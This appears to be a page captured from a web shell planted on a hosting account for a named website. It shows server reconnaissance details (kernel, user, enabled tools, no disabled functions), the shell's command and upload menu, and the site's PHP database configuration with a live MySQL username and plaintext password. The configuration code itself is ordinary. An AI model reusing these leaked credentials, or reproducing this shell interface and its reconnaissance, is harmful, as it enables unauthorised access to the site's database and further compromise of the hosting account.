Server IP : 103.53.40.154 / Your IP : 3.129.42.198 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/maiclaliyana.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php // MySQL database credentials $servername = "localhost"; $username = "ppcad7no_maiclaliyana"; $password = "i~1s8vG8M1Jc"; $database = "ppcad7no_maiclaliyana"; // Create a connection $conn = new mysqli($servername, $username, $password, $database); // Check the connection if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } // Set character set to UTF-8 $conn->set_charset("utf8mb4"); // Escape user inputs to prevent SQL injection function escape($input) { global $conn; return mysqli_real_escape_string($conn, $input); } // Close the connection $conn->close(); ?>